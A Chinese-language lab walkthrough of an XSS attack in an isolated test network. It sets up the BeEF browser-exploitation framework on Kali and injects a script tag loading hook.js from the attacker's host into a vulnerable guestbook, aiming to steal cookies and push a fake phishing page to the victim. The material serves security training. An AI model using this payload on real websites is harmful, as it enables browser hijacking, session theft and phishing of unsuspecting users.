XSS攻击实验
实验目的:
在 winxp 系统中的 IE浏览器 版本存在漏洞,通过劫持IE获取cookie,再进行登录操作
实验步骤:
1、部署实验环境
winxp(IE浏览器)、主机:192.168.17.1、kali:192.168.17.133、pikachu(IE访问:192.168.17.1/pikachu/)、BEEF工具(kali下载)
BEEF工具:BEEF (The Browser Exploitation Framework):一款浏览器攻击框架,用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。
BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。 BeEF的目录是: /usr/share/beef-xss/beef
BEEF工具的使用:
(1)安装beef-xss工具:apt-get install beef-xss
(2)第一次启动beef,:beef-xss
(3)首次登录, 需要我们输入密码和默认用户名都是beef
(4)查看配置文件,修改必要配置,一般默认配置即可:/etc/beef-xss/config. yaml
(5)关闭beef-xss:beef-xss stop
2、使用BEEF工具
更新、安装BEEF、启动BEEF
1 # apt-get update 2 # apt-get install beef-xss
3 # beef-xss //输入密码
当读秒到1后会弹出BEEF工具:用户名(beef),密码(启动时设置的密码)
进入beef页面:
若忘记登陆密码,可进入配置文件,修改passwd:
# cd /etc/beef-xss # vim config.yaml
3、测试是否部署完成:单独访问IP(http://192.168.17.133:3000/hook.js),测试是否能访问到静态页面
即部署完成。
4、在winxp(IE浏览器)留言板插入代码:
<script src="http://192.168.17.133:3000/hook.js"></script>
刷新BEEF查看:本机已上线(浏览器已被劫持)
让机器下线:关闭浏览器 或 跳出带有恶意代码的界面。
点击可查看信息。
5、攻击
颜色代表风险值:颜色越红,被识别出来的几率越大,对目标的影响越大
跳转(iFrame框架): 制作一个跳转的“假网页”
查看winxp(被攻击者):跳出钓鱼网页
即完成攻击。
如何防御XSS攻击?可参考:前端 | XSS 的攻击手段及其防御 - 知乎 (zhihu.com)